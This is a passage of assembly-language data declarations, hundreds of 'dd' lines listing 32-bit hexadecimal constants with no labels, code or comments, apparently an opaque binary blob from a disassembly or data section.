dd 717BACA3h, 0DD0DB4D6h, 18ED0744h, 241DAFD0h, 8034F737h
dd 6F266CBAh, 0B502718Ah, 0E3F56DCFh, 3D5468AAh, 29BC74BEh
dd 8F4326Ch, 0E812D5ACh, 80DDB40Ch, 46CCA6E2h, 0B3570207h
dd 32B9A4B4h, 50E65800h, 0C04CCB3h, 2E2D79BDh, 4842D088h
dd 0F22E063h, 6E286490h, 40241028h, 9318FC03h, 20413521h
dd 948018D5h, 0E10A7F6Dh, 8814C12Eh, 2767FF86h, 0DCBC0079h
dd 35C7703Ah, 0ADF0D27Bh, 30C8F67Bh, 0E707813Ch, 42CDFE98h
dd 2C614DC8h, 0FAEFFCB5h, 1C1428D3h, 8CC0F878h, 61152C98h
dd 31D00594h, 0F5E0C977h, 527B4040h, 0D8FF00C5h, 5D16428Ah
dd 0F86236A0h, 0A0A44E90h, 6254ECC4h, 0D295716Bh, 0A3E81C11h
dd 0A84DB1Ch, 5867D15Dh, 0F4D39E81h, 48340C7Eh, 44530D4h
dd 0FCE05991h, 0F8977400h, 0E46E85A0h, 0A96400CAh, 0C5C4B391h
dd 40983B1h, 87E761F9h, 0C7F00B30h, 72A58EBCh, 677C0977h
dd 90A3DE98h, 0E7E0A989h, 6907F56Bh, 963AECA8h, 0B5C0F0C5h
dd 14F3B0C7h, 8C1ED061h, 0AD800A3Ch, 0F76522C6h, 0B4006424h
dd 0B2E4E1B7h, 307062E6h, 89403554h, 0EA602C79h, 0B46E8758h
dd 32DA0195h, 786704A1h, 20B035D6h, 48CA5F4h, 0BEDB1F05h
dd 270C6238h, 811F2075h, 0E273BC56h, 6B3F712Eh, 92A56204h
dd 0E4AC1780h, 31AF6AA1h, 0DCD71DB0h, 88A854F2h, 0CAE82C58h
dd 0B6C5008Ch, 6982724Bh, 34587561h, 0C0AAC854h, 0BEDE1F0Eh
dd 12226046h, 1F068200h, 0D3441617h, 745B5846h, 38C0FBCh
dd 5EBF0F7h, 0BBA0EF2Dh, 0CA1E6274h, 0B9E8C794h, 0AD99220Bh
dd 14302001h, 4A30C4BCh, 103C6F5Fh, 4F886984h, 232084D6h
dd 0C03052Ch, 0A1FDAABAh, 7824123Dh, 4A50082h, 0B535B10h
dd 0E2006B8Fh, 0BF24FF98h, 0BD2A3Dh, 0A03E6D7Eh, 0DC9499ABh
dd 236C5602h, 0A0F1E026h, 856AE7DCh, 0DE0F5h, 4D5943D5h
dd 0B0ACBCDBh, 0A888E498h, 0EF009B4Bh, 0E676E141h, 18B471h
dd 7BF3882Ah, 8FEEC775h, 10D91324h, 3AC993Fh, 64CADCC8h
dd 162E00Ch, 6FF4C9DEh, 0ED59F70Ah, 4C98026h, 9F65B9CDh
dd 5D0E0502h, 1C86E78h, 0BDB6B5C0h, 0B4D430D8h, 913C4430h
dd 0AFCBA5h, 0B896E76h, 82CF7D85h, 4104550h, 0CC52151Dh
dd 97DF6980h, 98BEC576h, 0AEC4480h, 1220B57Ah, 6D4824C7h
dd 8A8E00DEh, 0FF58D584h, 0A13C5E30h, 0B0CEBC34h, 0BB3F4430h
dd 16117916h, 234AC04Fh, 9FF78936h, 1A8DC3h, 0A1E16219h
dd 0E2B5CCDDh, 24A31B00h, 0A803D34Ah, 20F0900Ch, 0DD30FEB2h
dd 0BECD99FDh, 55E900D2h, 924C2893h, 0D803BFE4h, 0EA7CFFFAh
dd 0B62000E8h, 6158C3BCh, 270763C9h, 0A31C9AB8h, 13ECEE50h
dd 0F1942672h, 89238094h, 0CA3E8B5Eh, 0D248C500h, 773FF918h
dd 0C9060276h, 232C5570h, 0FD96BC82h, 1A6D4E00h, 0C210003Ah
dd 7B55DD8Ah, 189644C5h, 94B83480h, 0E606B3F7h, 0DF4C01FFh
dd 0CEFA4001h, 0F6FC42B7h, 82FE7E20h, 0DB0F01C8h, 0C36D56DFh
dd 0C8041423h, 0FF05D33Fh, 730C005Dh, 0EBDE2B5Eh, 5BB03400h
dd 7C9D72CDh, 0AEE8E7h, 69240764h, 92C66884h, 2E6660E6h
dd 121DF08h, 26929AAh, 7044A2FCh, 3F00EE5Bh, 2177F459h
dd 30E1CE6h, 0F3685B83h, 18035687h, 5A9464C0h, 68A6A9h
dd 23268F8Eh, 6D0BFF27h, 8A72F31h, 2080635Ah, 0AF2697F3h
dd 0E90F8BA8h, 40754119h, 0BCE66D04h, 9B60C61Ah, 76319027h
dd 10941834h, 68640104h, 81BDF7BBh, 4FE3CC80h, 75F061CBh
dd 0B7B90063h, 662351E8h, 0A7033BECh, 46E2E7FAh, 44410068h
dd 0DB96AD9Fh, 0B2330EABh, 35809E3h, 0AD97A421h, 48C6015Fh
dd 0EFBA20h, 425527E1h, 599667BCh, 0AA93A200h, 0B5E67D9Fh
dd 51E4008Fh, 3484D2A9h, 0F900582Fh, 3E1E5C63h, 16A112D1h
dd 0FC9B9C30h, 0C1E700C6h, 0B4D67479h, 550004Fh, 7DBBF83Ah
dd 0D200AAE1h, 3CD15827h, 0E8AD3198h, 0FD8E030Ch, 1896A71Ah
dd 2CF5F1B8h, 20B74D00h, 0F404C15Eh, 0A62B00FAh, 0FC5561CCh
dd 0DC038D8Eh, 0AB5DE4D1h, 0F85AB0D0h, 1BBF6D2h, 0E90973B5h
dd 0DC276277h, 42F826FBh, 790E3Eh, 0E81AFC88h, 0E05DFD70h
dd 9CC7004Ah, 4990E97Dh, 0B863F104h, 0FC5308h, 9CCFA520h
dd 0FD905E9Eh, 3E748F00h, 0EF421D2Ah, 8D8030A6h, 0CF6A6E28h
dd 6007853Ah, 218C2058h, 79895C3Fh, 0AF81A90Ch, 21C03C08h
dd 2A21944Ah, 15E30093h, 20958D5Fh, 36048F7Ch, 69D558CFh
dd 5075D6C1h, 386C68B8h, 48CB369h, 89132198h, 203E629Fh
dd 2021A046h, 80BA5839h, 7988973Ah, 0C14EEDFAh, 0BF3EE358h
dd 667080B1h, 0CDC4C127h, 56A30007h, 6EB560CBh, 9007AF0h
dd 0F9FAFB8Ah, 2AA6E871h, 0E09064E9h, 0C52A39CCh, 6163A50Ah
dd 423831B0h, 3CE700F4h, 9A940084h, 6304FA07h, 863CC3E1h
dd 7F179D71h, 95A3480h, 6C2CD1h, 6C61BC5h, 289EA488h, 0B0018300h
dd 4640D477h, 24FE59h, 0BD731D8h, 21F57366h, 8961791Fh
dd 975D8A41h, 0D8ECBE09h, 0FCAF00C5h, 0E0FA415h, 5600EB62h
dd 0E941B949h, 3F8A2339h, 7900A64Dh, 886427B0h, 740063D9h
dd 5CB3DA6Fh, 3A2914Ah, 7F95E2E4h, 918F158h, 0AA20D957h
dd 56A200A9h, 2F371C02h, 0AF1CD02Eh, 168039FEh, 0DFD96E34h
dd 5071604Fh, 0BBA56BFAh, 10C0A374h, 1A1498BCh, 0F59606D5h
dd 8AEDD5Fh
dd 0E321A160h, 9314A0h, 0D00BC16Fh, 0EEAF2752h, 8EEF6A00h
dd 0C2B557F8h, 94E9E9B3h, 0BCBC90BEh, 0D4033077h, 6315FA11h
dd 2F428C01h, 1F5B6FB8h, 21E60898h, 630C0D90h, 104F2199h
dd 30840FDAh, 137FC3h, 5DEC0BACh, 180020C6h, 9248A943h
dd 0FC17E4F4h, 0DF352C21h, 22970E12h, 0F2405DACh, 0A4187873h
dd 0B4C9ADBCh, 76E807CCh, 0F00D36C3h, 542518CEh, 77094A01h
dd 0A9977984h, 0A86575F4h, 77E806BCh, 0AC1A07E1h, 5035D523h
dd 0D862897Eh, 4F90B41Ch, 0F5C0949h, 53B9586Ch, 93300FEAh
dd 0D5E3E8DCh, 8309834h, 0F281214Bh, 0F0680030h, 0BA32341h
dd 0E4A86675h, 0A2EE8942h, 0BEADAB00h, 0F0EC0F3Fh, 19EF143Dh
dd 0A423DC47h, 0A414990Fh, 0E2389ED5h, 281F14EAh, 34819AE1h
dd 7CB1BCE4h, 0A8E502F0h, 859EBCh, 6526A01Ah, 0CECA280Fh
dd 661EC30Bh, 99FA00A5h, 332EC4h, 0EAFE5B5Ch, 8436A147h
dd 407A1BF0h, 0D9A74230h, 0AB64D4A6h, 7C59E39Ch, 0DD3D0461h
dd 82B507B9h, 0ED19CD10h, 900C18h, 10674224h, 9B40ECC4h
dd 46046364h, 680EAD00h, 3123D595h, 1F500C2h, 0DC3C9B90h
dd 0A61522B9h, 3A8F0D9h, 38576B2Bh, 5D74B0F3h, 0DA880584h
dd 8026F1Dh, 0E5C0A1DCh, 46DC9230h, 4D2290h, 9530ED74h
dd 93941CE9h, 651DE200h, 42C5F85Dh, 0E85B6006h, 0E8E36A69h
dd 87E0D815h, 0D5DB09C4h, 620C875Eh, 0A7A22841h, 0EBE830A0h
dd 14089618h, 0C486D518h, 9E9940A0h, 1EF414h, 98B8F955h
dd 57C55978h, 13DAE422h, 2004AB4Eh, 143B6B1Ch, 231FDD00h
dd 5EB05F81h, 9CC128F8h, 1AD16089h, 71628A64h, 0E0232F00h
dd 31D972DAh, 0EA890F8h, 75F41847h, 6C5D0BC0h, 9E005422h
dd 0ADC6A958h, 31CE35D1h, 7BD98A66h, 0BB5880A1h, 59BC541Ch
dd 2A763B7Fh, 102368CCh, 0E1A2AE01h, 5318BDE2h, 4A6A588h
dd 0D59D20A2h, 0F6BC8143h, 0B3A30048h, 0B1C93E9h, 0A9046318h
dd 0F2CCE07h, 0DD631097h, 1074A289h, 0FCBCCB4h, 83069FCFh
dd 59609960h, 841C4E85h, 8B413C8Fh, 0FF429E5Ah, 48043080h
dd 32ED7120h, 7F12AF00h, 28845A49h, 7C30039Bh, 47BEE5D5h
dd 6E48A01Fh, 915C98C0h, 1D480DDh, 425D4BECh, 254C95D8h
dd 0E62F014h, 0B7BFE300h, 7231C34h, 0D9525C33h, 0EBB6C300h
dd 2F21724h, 0FCC9D760h, 3D3A4C1Ch, 63129B27h, 2AAC0EA0h
dd 0F0E6EB40h, 7530C138h, 0E332E15Ch, 0A0490039h, 0EE7F7237h
dd 3B006D0Dh, 97663841h, 712456E8h, 0E2C201BEh, 0E0D97175h
dd 0B53424A5h, 0B126D618h, 927F22D0h, 7C9B0E80h, 2D8039CAh
dd 0C094C618h, 0DAB2E00h, 362372FBh, 496B0047h, 4B04137Ch
dd 2E38F1BAh, 1E4E80F2h, 0B408E6ABh, 0B9630052h, 3DBE967Dh
dd 9828EC11h, 7CE68734h, 0D8003B7Bh, 57CEEAD0h, 36FF8A6h
dd 0FB4CDD63h, 9588628Fh, 0E0EA3B70h, 9FD4980Fh, 81BDEE25h
dd 0A7B58B04h, 21080898h, 2500977Bh, 87143FD6h, 7685EFB2h
dd 0E6F7002Bh, 7121B0A3h, 80C0F211h, 0A4A98CEh, 91DCE5h
dd 6FA1FBDDh, 661BD0DCh, 0DE08CC67h, 26A60021h, 0ED30D1FBh
dd 7990357Bh, 6BF1150Eh, 0EFADE00Bh, 6C96B159h, 3491E806h
dd 28199074h, 4211689Ch, 64C55ECh, 30ACA4F1h, 606009E9h
dd 5590A221h, 4A363BFEh, 0AB915980h, 0CA21A7F1h, 78C71700h
dd 0D6A1613Fh, 3DBB32F0h, 8330DB60h, 0F1491155h, 816188CCh
dd 0E8559B9Dh, 4B2CDC23h, 1B210400h, 8FF46531h, 0EBE9303Fh
dd 67B361F1h, 6F3383E8h, 0F7D0D137h, 0CD4A0EC0h, 34ED020Bh
dd 3CAF5473h, 0F40D8081h, 0F8FAE910h, 0CEFE969Dh, 5B008FF6h
dd 7A6C3E70h, 8177F2h, 0C0AEBD80h, 0DB564363h, 0CA91F70Fh
dd 8388A0ECh, 712224h, 0C35D4D9Ch, 1A5256E2h, 12D9DC00h
dd 5FD61126h, 0ACFE4Bh, 0F4CCCD3Dh, 857FC16Ch, 7E9B0A00h
dd 70BA327Ah, 614B009Eh, 77F16D21h, 0C8011F22h, 31B5F6BDh
dd 6FC43226h, 0F200009h, 3F2F59A2h, 0B00E99Fh, 0A1E83B8Ch
dd 82AE46h, 0C474C551h, 2C48BA08h, 91D9AD0Fh, 0A3550360h
dd 7275C15Ch, 38339C0h, 71124833h, 5EE89177h, 0CA0E4360h
dd 98DA582Eh, 3F623510h, 0EBA889Fh, 954B499h, 15218726h
dd 67E0987Ah, 7F731B7h, 0E3763550h, 27F180DCh, 553E1536h
dd 79751B81h, 0D5391D18h, 0FDAF0658h, 2A0011D0h, 0B96C1D25h
dd 37D1541Ah, 0AC080251h, 2D761121h, 0E4FC9700h, 0BA56D426h
dd 0B9F40025h, 9ECEA6D0h, 0D8D462F1h, 0D2650C4Eh, 0ECA385Fh
dd 639A887Eh, 0CE31F4C1h, 520998DDh, 0CB01E21h, 6DB68E9Ah
dd 83005E10h, 580DCC94h, 0ED67455h, 6C0236EBh, 3D69C360h
dd 7A180A57h, 43316BB6h, 32A400BBh, 135A7D12h, 0E600CECDh
dd 0C6726DFAh, 51D0C3CBh, 0B002B42Dh, 9F5D3011h, 565CBB11h
dd 10802988h, 0AD3D9875h, 205E673h, 62B85D71h, 8CA1C4FCh
dd 0D968B2CAh, 0B19EC145h, 323C7060h, 0B78BA200h, 47A9A400h
dd 1526AFCCh, 1AEEEEh, 0FF9E670Ah, 8DB37543h, 54CA1309h
dd 191C0036h, 7B6DB8h, 68B10584h, 3A949AF5h, 0A5632600h
dd 0BFF28CDFh, 8F7C0EBBh, 0FE40048Eh, 865ECDB9h, 97078B00h
dd 88B4BEFFh, 5B83935h, 4E2F0E05h, 0CAEC060h, 240113B9h
dd 0B1FF4648h, 72F04F10h, 0F9A60045h, 40222880h, 0F439ACC4h
dd 5B8DA659h, 0D0C28300h, 9404B4h, 21E29A02h, 73B9177Bh
dd 6171B000h, 452D54BFh, 0E00200C9h, 740A82ACh, 0DA00C787h
dd 2AD0793Fh, 4C68F5h, 0FF4A61C2h, 1E3286F8h, 0C5730900h
dd 0C7A28E93h, 961300C6h, 89CA1688h, 675D179h, 9DFC3E00h
dd 2768FB67h, 6B7C1Ch, 460E95CBh, 89414457h, 0B532A300h
dd 5D62256Dh, 8FF000A2h, 0F293D981h, 0C4004FA5h, 94D8743Ch
dd 3A96E7h, 181CFE6Dh, 6AF2A88Bh, 6704D900h, 0ECD3FFCBh
dd 0EABCF009h, 768CF660h, 222E0213h, 70990E2Bh, 35AA18E0h
dd 597EC600h, 0A30550D0h, 38FE23h, 0B4E7B318h, 0EBBF79F7h
dd 0C5AD1B1Ch, 0B683FA80h, 9F68D3h, 10585DA9h, 45196FA5h
dd 0BB9C3706h, 0F48E367h, 0A216B957h, 9E834D80h, 0AB1D5A59h
dd 1186D203h, 585760h, 0DD45CEE4h, 9AF447AAh, 8952170Ah
dd 2E1FF39Eh, 3022D980h, 309FE14Ah, 8871C20Eh, 38007E19h
dd 0EABBE883h, 187D2D8Eh, 59ECAD21h, 35745AF8h, 2E00E7F0h
dd 0BEE013E1h, 7F0F31h, 53C392DCh, 0ABB59689h, 8AF93700h
dd 0B9F1B6DAh, 0F55600A4h, 2A71AF7Dh, 29007FA9h, 0E2307317h
dd 5F6C60h, 0EFDB94D5h, 59B064AEh, 3574B707h, 0C1FCA7B9h
dd 0F3F71F50h, 0B42C4098h, 0A6F28251h, 0A3105303h, 0A00632E9h
dd 876DEDh, 0EBBBCB21h, 348C033Dh, 0A14C71Fh, 0F04BD282h
dd 0E8DDE073h, 94EB004Ah, 8734DCFBh, 0C1007824h, 6453BFE1h
dd 76A240h, 0C951C67h, 3BB1E6C2h, 0AE4E000h, 17A0388Ah
dd 9C1B502Dh, 0B1436EDFh, 9D3C2C00h, 36F2AA85h, 0E775A600h
dd 60D60DFEh, 0C0A000EBh, 0AD2607C1h, 0E0031ECEh, 53B6E194h
dd 57CB24h, 65AD550h, 58DFAEAFh, 349BB700h, 0D112B8FBh
dd 1EEA004Dh, 0F997A4ECh, 1A26C642h, 0B7008985h, 0FB2C2F57h
dd 457DB1h, 0E9400495h, 0BAAED903h, 46537600h, 18AB596Ah
dd 0C5E4B5h, 8001F110h, 2B84D6B4h, 85E84014h, 79B009Ch
dd 60A3021Eh, 7A63061Ah, 42D6E6Ah, 0BFAFC000h, 0A1D94BE9h
dd 0D30E0ABCh, 98417EBh, 0D9804258h, 6647CFA2h, 5B00E27Fh
dd 0BB06C15Fh, 91FE61h
dd 3C7D7E37h, 49CACD8h, 0BD00CD71h, 3B5BF9B3h, 1C96EC74h
dd 12E27D9Dh, 0C280593h, 0A5D580F6h, 0BF0FDB8Eh, 83019B95h
dd 0B3632ADCh, 1669B0C8h, 4A273BDh, 0A0C4E19Ah, 78ABC0E2h
dd 0A500DF37h, 0F6B7DB74h, 0ECAECAh, 8DDD56F8h, 0B9F96D58h
dd 8B2101Eh, 0A6C7F3C0h, 3C5384F6h, 828E9E34h, 7B201DA0h
dd 0ACB88AC0h, 0F95BC00h, 0E9018CEEh, 11940010h, 631D5D07h
dd 807B62Dh, 2642B41h, 3D34A940h, 2F0D1E65h, 0CE0C7A0h
dd 568F936Ch, 2506BB0h, 9F97D200h, 78AF5879h, 32F038Dh
dd 21752E40h, 111A000h, 4CAC806h, 838000F5h, 0CCE6CBA3h
dd 409057FAh, 80225A3Eh, 0C015BD55h, 1E3E01B2h, 9FB8D22Ch
dd 54EC073h, 25C1DF40h, 2F99900h, 0A9B72CB1h, 54241CF8h
dd 18A2D7FFh, 0C5DD7090h, 9564F200h, 1E7502AAh, 5E6E0046h
dd 4B384DFFh, 0B77347A1h, 2A59D800h, 0C09C6B1Fh, 0F5FE00AEh
dd 81916D57h, 51004886h, 32DC3084h, 0AD8BFBh, 571C28BCh
dd 47970D33h, 7611E400h, 0AC6F6219h, 83C20327h, 0E6FC8D69h
dd 90D3E008h, 0D9CA0058h, 0E0D1783Eh, 304A3Dh, 0A4E71359h
dd 7F7C01CDh, 2FF100E3h, 1A698ED3h, 6F4DE5A2h, 8DEB0198h
dd 0EF861037h, 0D3971080h, 467BB08Ch, 2CD05B07h, 7DB2EE42h
dd 0C04CCB56h, 30F87684h, 1180DFDCh, 0AF021A29h, 5192E67Ch
dd 658E80B7h, 607834h, 4FF13512h, 54CCBE3Bh, 0E6A31500h
dd 76B34A98h, 0BAF800FDh, 0DB1A2407h, 91007D35h, 74A01517h
dd 144C48AEh, 0BC14458Ch, 20E47600h, 0C7306FBBh, 0E648B873h
dd 0F0D10098h, 2509CBEFh, 0D9A7003Dh, 0B9F3FD58h, 740039F8h
dd 3CED56ACh, 3CADE66h, 0D6B2F716h, 80EFEFE6h, 5A4F6C9Ch
dd 38F4961Dh, 0DE712EC0h, 8979B1h, 530E7C49h, 691358DBh
dd 62CD378h, 0F5000F36h, 5F9BD565h, 5BDB00A0h, 792E95C9h
dd 0D1005C04h, 0F31AE175h, 3CCACC89h, 8A818DE6h, 4554889Ch
dd 506310h, 4A4CF807h, 69C79Ah, 548628AAh, 0DDC1CE48h
dd 3444180Fh, 0D6A7209Fh, 370C7Ah, 0E6A54074h, 5A0D20C4h
dd 0AB09171Fh, 3F801B80h, 1DB08F6Eh, 0C044E678h, 7239A731h
dd 0CC002B2Ch, 9F1E8274h, 3D50B5Ah, 0DFEA99D0h, 0FF8075ABh
dd 68002851h, 0B8ACF134h, 3192C0h, 0EE19B6D1h, 3E36F45Fh
dd 7A00177Dh, 7DEC4035h, 8745DEh, 0BD63B2E9h, 49222F53h
dd 0FB91C305h, 6C80B827h, 8243A1h, 59868C10h, 0DA1D5118h
dd 0E4C63C02h, 681EE584h, 0FC12418Ch, 0ED040159h, 2AA16B5Bh
dd 0EFC0D490h, 0A2652802h, 892C0A2Dh, 93F0908Ch, 0BAD400E3h
dd 71419E1Ch, 0D10090A8h, 46011FC1h, 0C0E8AE28h, 9F66BEE0h
dd 96304204h, 6C9D711Ch, 9D973DCh, 4CBFAB51h, 0FBDB5D07h
dd 0C90C2C0Bh, 64790F10h, 0AF200083h, 91A82DB0h, 3D00D1C8h
dd 2FA956E3h, 71ADF430h, 1D70EC7h, 66619E5Eh, 0C8973980h
dd 0C100028Dh, 40102E63h, 6CD7894h, 933DD907h, 5C0058BDh
dd 5ADE1C8Ch, 7CD89F6Fh, 7C647CD7h, 0E558A042h, 80E35CBAh
dd 4CD60E08h, 0B1E3503Eh, 7C0E5078h, 800454C9h, 97765AD3h
dd 10C34D64h, 990F7C42h, 3FC2E39Ah, 9F60FC56h, 0EB004367h
dd 8B23E653h, 0F581D1Eh, 0DC964E0Eh, 31051100h, 970730A5h
dd 8A39B6CEh, 0D7B10A70h, 3CF903EBh, 82D066A7h, 0B829A8B8h
dd 0C238FF60h, 0F2FEF7D9h, 13EEE5h, 99F9B7DEh, 57C5A5CEh
dd 0C8988200h, 48A278BCh, 0CCE7037Fh, 88D64F18h, 0DAF669F0h
dd 0A7236E01h, 0C8420645h, 163868D6h, 79FB0556h, 5F60DABAh
dd 0ABA80684h, 5A0CF1EEh, 31A63F55h, 29300B98h, 1D80EF4Ch
dd 0BF74BA95h, 0CC53C203h, 0A908119Fh, 0D821F491h, 7AF62C8h
dd 17C53CC4h, 8F80D975h, 0C1E9E1B8h, 1459A82Bh, 1151D840h
dd 0C95AEA68h, 16832A99h, 0D3981287h, 6C615F91h, 420E30B1h
dd 72E86760h, 0F12C00D1h, 0C6DD1F0Fh, 0F307C1F6h, 0A828CDDEh
dd 195FB881h, 14293987h, 0D2407EB7h, 6ED9D727h, 0BE8A360h
dd 351D36h, 0CC2DF368h, 6760A9D3h, 0B89A39C7h, 0E3399F0h
dd 0C3F8002Bh, 65205744h, 0CD3FB2AFh, 5C542897h, 0B0E2212Eh
dd 42C600BCh, 0BCB14446h, 2F820035h, 2E3EBB02h, 531F4031h
dd 2B5E987Dh, 76C50100h, 605FB0BAh, 31E5796Bh, 0E7904C8Ch
dd 0C8E21701h, 8E5542E7h, 30B1D3DCh, 0E369A138h, 900B23Dh
dd 5E94D1C4h, 0BF54EBh, 39466AF8h, 8537F0B5h, 423D0900h
dd 0A5FD454Ah, 6D9D061Bh, 716160C3h, 8C7C2FE8h, 98FAAC63h
dd 0BFAD9046h, 0A04C31F3h, 0F894CDDEh, 14780D82h, 9F5D970Ah
dd 0E80ADC31h, 0C44F98CBh, 2890E276h, 0E388E6h, 0F2E0FB8Bh
dd 139563D6h, 0B1172E00h, 5FA1F3DBh, 684857h, 0E6B49200h
dd 7C46C4FCh, 0F514831Dh, 0DDC0AB9Eh, 72FF700Fh, 46D53F3h
dd 3D9C05FAh, 6800829Dh, 79D14890h, 5FF503F3h, 0A697DD92h
dd 0F8493087h, 0CD1E9C01h, 1FA603Dh, 0F6F376A7h, 2990983Ah
dd 0CF5684A4h, 4442D948h, 21B824FEh, 8512D0F7h, 89FBAD10h
dd 44A8089Ch, 2284F1F7h, 7020E666h, 61B8009Bh, 0E92D943Eh
dd 9F000223h, 228F5B80h, 704CDD1h, 871374FDh, 69ABC09Dh
dd 20096D0h, 54104F3Dh, 0E09C3381h, 249400E9h, 38060D85h
dd 900405Bh, 3A6FF9Dh, 0C27FDh, 6C4263B9h, 2C88DDE4h, 3995380Fh
dd 8A3CE06Bh, 7D5A7456h, 182203F0h, 5968A864h, 0E1E81000h
dd 0B041D00Ch, 50F60A1Fh, 0BC6E71h, 5B5A8523h, 0D15CAAA9h
dd 0E6930B96h, 1E9C0004h, 7140F11h, 0C6C28F63h, 8361404Fh
dd 7A0029AAh, 0D417684Ch, 48B8BFE0h, 91CA823h, 1D5CC0E2h
dd 0E80D7E03h, 0AFADC700h, 65B8F9EDh, 3480008Ah, 63F14B21h
dd 0D9000FB0h, 4F7D52A5h, 30DCECC6h, 8048551Fh, 0AF072FCBh
dd 0E21641E5h, 0ECA30660h, 46BF070Fh, 3E121E9Bh, 4145ED00h
dd 7C58A6DFh, 16920066h, 121F7EA7h, 0E475FFh, 91D4F6E6h
dd 0FA0F6ED0h, 3D445849h, 385700CCh, 68B078ABh, 79010050h
dd 0E48F118Dh, 3900F465h, 46B4BCAAh, 1C6EEB9Eh, 0DD7508C9h
dd 0E330C14Dh, 0C466D3ADh, 120086FBh, 214EF82Ch, 31DB04h
dd 0B843E167h, 683D7AEFh, 59F24D2Ch, 1981D800h, 3A3B90h
dd 0B9E49C6Eh, 0D1290466h, 0C8928803h, 8A5E802Eh, 85224027h
dd 0CCE63Dh, 0A435F30Dh, 652EC479h, 0BD0009ECh, 81592C31h
dd 0DC0520h, 4F78A908h, 0D0AAFD6Ah, 0EE824200h, 0F2BC1CD4h
dd 7EB1006Dh, 842A3817h, 0AC00E408h, 2B391F63h, 0EA068Eh
dd 81807BBAh, 0C1BDA386h, 143E540Fh, 0B23980F7h, 0FD0E97h
dd 15A617DEh, 1EE135BFh, 880E9176h, 0C0D893EAh, 0CD2DCA5Ah
dd 5DEEAEh, 0CB8F36E9h, 8D88D289h, 0BA68D100h, 4FFFF5F9h
dd 0E17B00C7h, 66EC291Fh, 0EA3C8C67h, 9800F3A5h, 7B084680h
dd 33DC85Ah, 0DE4202F6h, 4A0F8E3h, 4950AF38h, 0C006098h
dd 0F33B733Dh, 7583EE0h, 437CEBAAh, 0A9A7C086h, 0D193599h
dd 4C304425h, 1F5957F4h, 83D8C7h, 2BAC452h, 9D07A2DEh
dd 0B92DB4F6h, 0EEFFF240h, 3933241Ah, 53A23F98h, 0B03ECA00h
dd 0F9AB56Ah, 0EEAE0E13h, 8B006523h, 0E787EA80h, 3CD49507h
dd 0E5801E04h, 5528AFh, 8920FEA2h, 0F6DA6E87h, 694FB707h
dd 0EDF0D54Eh, 3C4619F8h, 0C3009A5Dh, 7EEA7874h, 4F638CA7h
dd 0E17609B6h, 86E04117h, 0BEF608h, 0A2DFF2D7h, 0FDBFE198h
dd 23011BF6h, 4CD4A65Dh, 4A80A9AEh, 5B6DD83h, 1008A76h
dd 255FA5FBh
dd 13AAB284h, 0ED4C9h, 0DE8119C0h, 89018C74h, 0A180E244h
dd 60DE6FFBh, 66E414h, 7C673394h, 0AAC95AE1h, 1DA23603h
dd 0D074B016h, 0A03C8Ch, 0A5C57A49h, 4D589D6Dh, 7D036098h
dd 0FB7B065Fh, 6250B894h, 4581015Dh, 9CDDE8A1h, 89C2FEEBh
dd 76FB9800h, 0E203C035h, 0BAA8C63Fh, 5B97E873h, 64674C6Dh
dd 72BC3700h, 7831FADDh, 0B401CFECh, 2099DC61h, 0E4406CC9h
dd 7F6F7775h, 288F1AACh, 3C685298h, 0DA289DE8h, 0B448E495h
dd 0A8530E38h, 42629F9h, 32C02AB4h, 95F2FDh, 2C8AB527h
dd 0B24F35A5h, 0C7CD312Ch, 7EF85000h, 0ECAEE23h, 14069A89h
dd 0A4764B80h, 1F308E5Ch, 0F3A6E0E1h, 0FD8F0041h, 0E24C2AC4h
dd 3403926Ch, 8C47ED2Dh, 0AD67B8EBh, 33C0776h, 47F8F6D1h
dd 7450A0A2h, 4A00EB09h, 685C3188h, 0E89FDEEh, 34E3C5FFh
dd 0F260F740h, 0E50E5402h, 608FA2B1h, 2AB90DDCh, 0C634013Ch
dd 0CEEE5213h, 0B361875Ah, 6A14BEB2h, 0C236FE80h, 0FC1E0082h
dd 3540D3B5h, 7F007A20h, 9B0E4DDEh, 0B39C2Fh, 4F939881h
dd 0D83F9A52h, 32090107h, 0C05E0CF1h, 7D8A697Ch, 1C6000E8h
dd 0F0372D47h, 0C000CCADh, 6F445CD1h, 763CF7h, 0BA64B44Bh
dd 0B363DEBEh, 0A5755501h, 539F7AF9h, 261D8FCh, 0B97764ABh
dd 0CA61B3AFh, 8F3DC8D5h, 51F32E00h, 5DBC55FCh, 0B5ED0029h
dd 4812DB46h, 0B000B34Dh, 0A811930Bh, 1DCDCAE9h, 83F06C39h
dd 13DE7AE2h, 167D2290h, 0AF01E472h, 5A1A0D9Eh, 5420B7FCh
dd 85324D4h, 1990080h, 916F45Eh, 20994097h, 3EF007Bh, 0DC64EEF1h
dd 0E700B314h, 49CB6086h, 3A22B630h, 0F484B09Dh, 87BC1261h
dd 25446041h, 0D82427EDh, 9924804Fh, 0CA00861Dh, 0B543267Fh
dd 9923004Dh, 74077C0Fh, 8E793328h, 0C62DE712h, 6FE85400h
dd 0EC2CB81Eh, 82163B4Ah, 0FF813200h, 0AC38B70Bh, 99D16000h
dd 0C646D88Ch, 0F65200D4h, 5ECCB623h, 18001ACEh, 0E0620398h
dd 2C6A0475h, 4431740h, 0C04A329Bh, 0ED1BBC60h, 60816500h
dd 5AD7CA74h, 9AE7006Ah, 1E848024h, 26F81DBDh, 9000EB70h
dd 48FA3AF5h, 0F4765BCh, 0B64BC29Dh, 527DA380h, 0C87F9966h
dd 0B7C69A50h, 5F257B12h, 893FD800h, 3603Eh, 0FE91138Fh
dd 9E85DEC2h, 8E84653Fh, 80D662C8h, 0A317A14Ah, 0EA6A0047h
dd 32E448DBh, 3600CF80h, 709FE9BBh, 419E94h, 0CD11A8C4h
dd 2453D587h, 0C53802E2h, 555A8005h, 197169D9h, 44C407A9h
dd 7033C25Ch, 782D5394h, 0B55BF700h, 3F7C240Ch, 80A416F6h
dd 0E8DD0389h, 0FEE88B90h, 59053B94h, 0C745D215h, 77C0C800h
dd 13D176h, 0FA7EF9CBh, 0A6D90A20h, 60C7C300h, 0B1622824h
dd 951000F4h, 3FAA4C7Bh, 34009DDBh, 5032564Dh, 7E8A4B40h
dd 3ED61128h, 8BD30F08h, 240352F2h, 0E847AE46h, 4C37D8CEh
dd 362688F8h, 0B1B1E11h, 0B400ACDDh, 0ADA4C66h, 25C8FD0Eh
dd 4AA2C0ABh, 4E965FBh, 0DBC4983Bh, 0C23C80A9h, 0D51BCF46h
dd 0B010AA7Eh, 3F5C81F6h, 9A80E475h, 79222EBh, 0F4183852h
dd 0D760ABD1h, 794E009Ch, 6768FCF1h, 830044CDh, 28C75836h
dd 176CF84Bh, 1613457h, 4D468928h, 501DD8D0h, 4A647A00h
